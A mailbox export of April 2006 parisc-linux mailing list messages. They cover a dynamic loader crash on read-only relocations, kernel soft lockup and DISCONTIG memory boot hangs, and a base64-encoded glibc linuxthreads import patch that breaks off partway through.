Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15710-01; Wed, 12 Apr 2006 21:34:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6373D7D723;
	Wed, 12 Apr 2006 21:34:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D87B17D721
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Apr 2006 21:34:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14900-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Apr 2006 21:34:10 -0600 (MDT)
Original-Received: from zproxy.gmail.com (zproxy.gmail.com [64.233.162.198])
	by free.linux.hp.com (Postfix) with ESMTP id 0AB367D71F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Apr 2006 21:34:09 -0600 (MDT)
Original-Received: by zproxy.gmail.com with SMTP id 18so1833416nzp
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Apr 2006 20:34:09 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition;
	b=qcHr25vRvbTyAeQ6loMOV7pe+641ASjH1iXwsFdekwUgFrgMzzTMdRTGOimfql1qHrSdbssOU6N4SQSYKzKD0XSqJB4lOzvKoG/FWnDAxWdWM4/sJe7duYXnpNkFUUZLApbjffz5mTvSXMa1/bvGJ6GraFzy0U/2+eSkt6au2QU=
Original-Received: by 10.36.222.11 with SMTP id u11mr35336nzg;
	Wed, 12 Apr 2006 20:34:09 -0700 (PDT)
Original-Received: by 10.36.72.10 with HTTP; Wed, 12 Apr 2006 20:34:09 -0700 (PDT)
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 64J3A6BIa2A7ubvDOHQyMTQyOWhhakcP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23569

I'm looking for any generic pointers to something I might have missed.
I'll probably cc libc-ports next.

1. Merged my tls changes into local copy upstream binutils.
2. Merge changes into local copy of upstream glibc.
3. Build binutils, build gcc with binutils, build glibc with binutils and g=
cc.

The trial by fire is the first run of rpcgen for the newly built dynamic lo=
ader.
The dynamic loader crashes with a sigsegv trying to handle a relocation to
a read-only section.

The following interesting relocs are emitted in the dynamic loader:

0001751c  00000302 R_PARISC_DIR21L   0001a528   .rodata + 3674
00017520  00000306 R_PARISC_DIR14R   0001a528   .rodata + 3674
000175a0  00000302 R_PARISC_DIR21L   0001a528   .rodata + 3668
000175b0  00000306 R_PARISC_DIR14R   0001a528   .rodata + 3668

I have support for these in my local glibc patches.
I can debug all the way to the handling of the DIR21L reloc.

(gdb) disassemble 0x4139ee1c 0x4139ee1f
Dump of assembler code from 0x4139ee1c to 0x4139ee1f:
0x4139ee1c <_dl_start+1752>:    stw r20,0(,r7)
End of assembler dump.
(gdb) i r r20
r20            0x239d8826       597526566
(gdb) i r r7
r7             0x413b351c       1094399260

This last instruction is the store to reloc_addr of the newly computed valu=
e.

(gdb) si

Program received signal SIGSEGV, Segmentation fault.
_dl_start (arg=3D0xc00bfc70) at dl-machine.h:595
595             *(unsigned int *)reloc_addr =3D insn;
(gdb)

The map at the time was:

4139c000-413bb000 r-xp 00000000 08:01 5407284                        =20
  /mnt/flaire/src/glibc-work/builds/libc/elf/ld.so

413ca000-413ce000 rwxp 0001e000 08:01 5407284                        =20
  /mnt/flaire/src/glibc-work/builds/libc/elf/ld.so

c00bf000-c00d4000 rwxp c00bf000 00:00 0
[stack]

How does this normally work?
Did I break something fundamental in the toolchain?
I didn't expect to see

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re:[parisc-linux] "BUG: soft lockup detected on CPU#0" on recent
	64bit k-2.6.16 (up or smp)
Date: Thu, 13 Apr 2006 07:45:45 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <IXNES9$1FC408083B06CF3616F90EC3F405A12F@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624053 18928 80.91.229.3 (22 Nov 2014 02:40:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:53 +0000 (UTC)
To: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Apr 2006 06:46:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 13 Apr 2006 08:46:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2717B7D72B;
	Thu, 13 Apr 2006 00:45:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17093-07; Thu, 13 Apr 2006 00:45:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5D8167D72C;
	Thu, 13 Apr 2006 00:45:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C52E97D729
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 13 Apr 2006 00:45:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16914-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 13 Apr 2006 00:45:48 -0600 (MDT)
Original-Received: from xizor.is.scarlet.be (xizor.is.scarlet.be [193.74.71.21])
	by free.linux.hp.com (Postfix) with ESMTP id 8FB357D728
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 13 Apr 2006 00:45:47 -0600 (MDT)
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by xizor.is.scarlet.be  with ESMTP id k3D6jiK11959 
	for <parisc-linux@lists.parisc-linux.org>; 
	Thu, 13 Apr 2006 08:45:44 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ksQIcJ1oTiEtoqyUaGRwenF1ZUVSRNdk
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23570

> Hello pa*,
> 
> Just to report some "BUG: soft lockup detected on CPU#0":
> on b2k testing k-2.6.16-pa4 64bit up:
> BUG: soft lockup detected on CPU#0!
> 
[snip]

>  IAOQ[0]: _read_lock+0x18/0x30
>  IAOQ[1]: _read_lock+0x8/0x30
>  RP(r2): send_group_sig_info+0x3c/0xb0
> 
> (on this system also with a previous k-2.6.16-rc4-pa1-n4kmp without act=
ivity
> then waiting my request ;-) )
> 
Hi all,

Could that be the result of the upstream bug:
<http://www.kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.16.4>

At least in the way; I will test it ...

Thanks,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] linux-2.6 deller (2.6.17-rc1-pa2) breack 'DISCONTIG'
	mem ; -(
Date: Thu, 13 Apr 2006 13:28:07 +0100
Lines: 64
Approved: news@gmane.org
Message-ID: <IXNUMV$DD7102BFD962611738B0B72A6FC9A3DB@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624053 18934 80.91.229.3 (22 Nov 2014 02:40:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:53 +0000 (UTC)
To: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Apr 2006 12:28:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx029) with SMTP; 13 Apr 2006 14:28:28 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 226A57D73F;
	Thu, 13 Apr 2006 06:28:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19862-04; Thu, 13 Apr 2006 06:28:16 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AED387D73A;
	Thu, 13 Apr 2006 06:28:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7DC787D738
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 13 Apr 2006 06:28:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19862-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 13 Apr 2006 06:28:10 -0600 (MDT)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id 43B7D7D6D7
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 13 Apr 2006 06:28:10 -0600 (MDT)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41]) 
	by guri.is.scarlet.be  with ESMTP id k3DCS7c30256 
	for <parisc-linux@lists.parisc-linux.org>; 
	Thu, 13 Apr 2006 14:28:07 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 33oNfKNGMmApvrSZZGFnODkxMjQ1N10h
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23571

> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	deller@cvs.parisc-linux.org	2006-04-12 12:50:38
> 
> Modified files:
> 	.              : Makefile 
> 
> Log message:
> 	2.6.17-rc1-pa2: some 16k page size work (still not functional)
> 
Hello Helge,

Just applying this patch (I mean pa1-pa2):
    * build fine on d380 (32bit smp kernel), b2k (64bit up) and n4k (64bi=
t smp)

    * boot fine on d380 and b2k

    * boot hang very early on n4k (sorry just have, even not full, msg):
[snip]
 model 9000/800/N4000-55
Memory Ranges:
 0) Start 0x0000000000000000 End 0x000000007fffffff Size   2048 MB
 1) Start 0x0000000180000000 End 0x00000001ffffffff Size   2048 MB
Total Memory: 4096 MB
Backtrace:
 [<000000001014356c>] release_console_sem+0x34c/0x3b0
 [<0000000010272620>] memset+0x40/0x8e0
 [<00000000103f3900>] csum_partial_copy_from_user+0x0/0xa0
 [<00000000103f31a8>] klist_remove+0x0/0x68
 [<00000000103f2f38>] klist_release+0x0/0x98
 [<00000000103f1978>] packet_release+0x0/0x380
 [<00000000103f0610>] packet_get

hang here while the boot of previous pa1 said:
model 9000/800/N4000-55
Memory Ranges:
 0) Start 0x0000000000000000 End 0x000000007fffffff Size   2048 MB
 1) Start 0x0000000180000000 End 0x00000001ffffffff Size   2048 MB
Total Memory: 4096 MB
SMP: bootstrap CPU ID is 0
Built 2 zonelists
[...]

I just rebuild the exactely same src but using flate mem in palce of disc=
ontig
mem and the kernel boot fine (obviously could just access 2 of the 4 Gb o=
f ram)

Hth,
    Joel

=0A=0A----------=0AWordt ook lid van de Scarlet Club via een bestaande Sc=
arlet klant en ontvang cadeaucheques twv EUR 50! Bezoek snel http://www.s=
carletclub.be=0ADevenez aussi membre du Club Scarlet via un client Scarle=
t existant et recevez des cheques cadeaux jusqu'a EUR 50! Surfez vite sur=
 http://www.clubscarlet.be

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Import linuxthreads for hppa.
Date: Fri, 14 Apr 2006 18:12:48 -0400
Lines: 761
Approved: news@gmane.org
Message-ID: <119aab440604141512y4006945aoa380e53d5532cc26@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="----=_Part_1392_14404280.1145052768186"
X-Trace: ger.gmane.org 1416624054 18937 80.91.229.3 (22 Nov 2014 02:40:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:54 +0000 (UTC)
To: libc-ports@sources.redhat.com,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Apr 2006 22:13:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 15 Apr 2006 00:13:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7E2EB7D6D6;
	Fri, 14 Apr 2006 16:12:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08216-03; Fri, 14 Apr 2006 16:12:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 27B467D6CA;
	Fri, 14 Apr 2006 16:12:53 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D85F77D6BE
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Apr 2006 16:12:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08205-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Apr 2006 16:12:49 -0600 (MDT)
Original-Received: from nz-out-0102.google.com (nz-out-0102.google.com [64.233.162.205])
	by free.linux.hp.com (Postfix) with ESMTP id CCE507D6C4
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Apr 2006 16:12:48 -0600 (MDT)
Original-Received: by nz-out-0102.google.com with SMTP id 18so228606nzp
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Apr 2006 15:12:48 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type;
	b=M9ztPEfRfQ5330kT/PfOFyBCCgNRpN7sTOfvgYAD+tyDK0gJfrLd2r+im7u/LdoTxgv3ZFy21pzZDzrJmhztGhtBpWwQR5113ubg4k4upIEX5K/yr6Gqwe5f7Ikb8RMiDT7WvT44HSPW25pGyg5AzyYiIMD4/Rroj42zUXWO8R4=
Original-Received: by 10.36.20.12 with SMTP id 12mr1609521nzt;
	Fri, 14 Apr 2006 15:12:48 -0700 (PDT)
Original-Received: by 10.36.72.10 with HTTP; Fri, 14 Apr 2006 15:12:48 -0700 (PDT)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: CHooCaITbHIyva3NNjQ0MikqJihyalC7
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23572

------=_Part_1392_14404280.1145052768186
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

This patch imports all the required linuxthreads files.
Also imported are all the files required for linuxthreads tls.

Canonical HPPA tls document:
http://cvs.parisc-linux.org/web/src/documentation/tls/hppa-tls-implementati=
on.tex?view=3Dmarkup

Ok to checkin?

Cheers,
Carlos.

2006-04-14  Carlos O'Donell  <carlos@systemhalted.org>

=09* sysdeps/hppa/linuxthreads/pspinlock.c: New file.
=09* sysdeps/hppa/linuxthreads/pt-machine.h: Likewise.
=09* sysdeps/hppa/linuxthreads/tls.h: Likewise.
=09* sysdeps/unix/sysv/linux/hppa/linuxthreads/aio_cancel.c: Likewise.
=09* sysdeps/unix/sysv/linux/hppa/linuxthreads/malloc-machine.h:
=09Likewise.
=09* sysdeps/unix/sysv/linux/hppa/linuxthreads/pt-initfini.c: Likewise.
=09* sysdeps/unix/sysv/linux/hppa/linuxthreads/sysdep-cancel.h: Likewise.
=09* sysdeps/unix/sysv/linux/hppa/linuxthreads/bits/initspin.h: Likewise.
=09* sysdeps/unix/sysv/linux/hppa/linuxthreads/bits/pthreadtypes.h:
=09Likewise.

------=_Part_1392_14404280.1145052768186
Content-Type: text/x-patch; name="patch-import-linuxthreads-2006-04-14.diff"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="patch-import-linuxthreads-2006-04-14.diff"
X-Attachment-Id: f_em1101db

SW5kZXg6IENoYW5nZUxvZy5ocHBhCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KUkNTIGZpbGU6IC9jdnMvZ2xpYmMvcG9y
dHMvQ2hhbmdlTG9nLmhwcGEsdgpyZXRyaWV2aW5nIHJldmlzaW9uIDEuMgpkaWZmIC11IC1wIC1y
MS4yIENoYW5nZUxvZy5ocHBhCi0tLSBDaGFuZ2VMb2cuaHBwYQkyOCBGZWIgMjAwNiAyMjoyMDox
MyAtMDAwMAkxLjIKKysrIENoYW5nZUxvZy5ocHBhCTE0IEFwciAyMDA2IDIxOjE5OjU1IC0wMDAw
CkBAIC0xLDMgKzEsMTcgQEAKKzIwMDYtMDQtMTQgIENhcmxvcyBPJ0RvbmVsbCAgPGNhcmxvc0Bz
eXN0ZW1oYWx0ZWQub3JnPgorCisJKiBzeXNkZXBzL2hwcGEvbGludXh0aHJlYWRzL3BzcGlubG9j
ay5jOiBOZXcgZmlsZS4KKwkqIHN5c2RlcHMvaHBwYS9saW51eHRocmVhZHMvcHQtbWFjaGluZS5o
OiBMaWtld2lzZS4KKwkqIHN5c2RlcHMvaHBwYS9saW51eHRocmVhZHMvdGxzLmg6IExpa2V3aXNl
LgorCSogc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9saW51eHRocmVhZHMvYWlvX2NhbmNl
bC5jOiBMaWtld2lzZS4KKwkqIHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbGludXh0aHJl
YWRzL21hbGxvYy1tYWNoaW5lLmg6CisJTGlrZXdpc2UuCisJKiBzeXNkZXBzL3VuaXgvc3lzdi9s
aW51eC9ocHBhL2xpbnV4dGhyZWFkcy9wdC1pbml0ZmluaS5jOiBMaWtld2lzZS4KKwkqIHN5c2Rl
cHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbGludXh0aHJlYWRzL3N5c2RlcC1jYW5jZWwuaDogTGlr
ZXdpc2UuCisJKiBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL2xpbnV4dGhyZWFkcy9iaXRz
L2luaXRzcGluLmg6IExpa2V3aXNlLgorCSogc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9s
aW51eHRocmVhZHMvYml0cy9wdGhyZWFkdHlwZXMuaDoKKwlMaWtld2lzZS4KKwogMjAwNi0wMi0y
OCAgUm9sYW5kIE1jR3JhdGggIDxyb2xhbmRAcmVkaGF0LmNvbT4KIAogCSogc3lzZGVwcy9ocHBh
L3NobGliLXZlcnNpb25zOiBOZXcgZmlsZS4KSW5kZXg6IHN5c2RlcHMvaHBwYS9saW51eHRocmVh
ZHMvcHNwaW5sb2NrLmMKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PQpSQ1MgZmlsZTogc3lzZGVwcy9ocHBhL2xpbnV4dGhy
ZWFkcy9wc3BpbmxvY2suYwpkaWZmIC1OIHN5c2RlcHMvaHBwYS9saW51eHRocmVhZHMvcHNwaW5s
b2NrLmMKLS0tIC9kZXYvbnVsbAkxIEphbiAxOTcwIDAwOjAwOjAwIC0wMDAwCisrKyBzeXNkZXBz
L2hwcGEvbGludXh0aHJlYWRzL3BzcGlubG9jay5jCTE0IEFwciAyMDA2IDIxOjE5OjU1IC0wMDAw
CkBAIC0wLDAgKzEsODIgQEAKKy8qIFBPU0lYIHNwaW5sb2NrIGltcGxlbWVudGF0aW9uLiAgaHBw
YSB2ZXJzaW9uLgorICAgQ29weXJpZ2h0IChDKSAyMDAwIEZyZWUgU29mdHdhcmUgRm91bmRhdGlv
biwgSW5jLgorICAgVGhpcyBmaWxlIGlzIHBhcnQgb2YgdGhlIEdOVSBDIExpYnJhcnkuCisKKyAg
IFRoZSBHTlUgQyBMaWJyYXJ5IGlzIGZyZWUgc29mdHdhcmU7IHlvdSBjYW4gcmVkaXN0cmlidXRl
IGl0IGFuZC9vcgorICAgbW9kaWZ5IGl0IHVuZGVyIHRoZSB0ZXJtcyBvZiB0aGUgR05VIExlc3Nl
ciBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGFzCisgICBwdWJsaXNoZWQgYnkgdGhlIEZyZWUgU29m
dHdhcmUgRm91bmRhdGlvbjsgZWl0aGVyIHZlcnNpb24gMi4xIG9mIHRoZQorICAgTGljZW5zZSwg
b3IgKGF0IHlvdXIgb3B0aW9uKSBhbnkgbGF0ZXIgdmVyc2lvbi4KKworICAgVGhlIEdOVSBDIExp
YnJhcnkgaXMgZGlzdHJpYnV0ZWQgaW4gdGhlIGhvcGUgdGhhdCBpdCB3aWxsIGJlIHVzZWZ1bCwK
KyAgIGJ1dCBXSVRIT1VUIEFOWSBXQVJSQU5UWTsgd2l0aG91dCBldmVuIHRoZSBpbXBsaWVkIHdh
cnJhbnR5IG9mCisgICBNRVJDSEFOVEFCSUxJVFkgb3IgRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFS
IFBVUlBPU0UuICBTZWUgdGhlIEdOVQorICAgTGVzc2VyIEdlbmVyYWwgUHVibGljIExpY2Vuc2Ug
Zm9yIG1vcmUgZGV0YWlscy4KKworICAgWW91IHNob3VsZCBoYXZlIHJlY2VpdmVkIGEgY29weSBv
ZiB0aGUgR05VIExlc3NlciBHZW5lcmFsIFB1YmxpYworICAgTGljZW5zZSBhbG9uZyB3aXRoIHRo
ZSBHTlUgQyBMaWJyYXJ5OyBzZWUgdGhlIGZpbGUgQ09QWUlORy5MSUIuICBJZiBub3QsCisgICB3
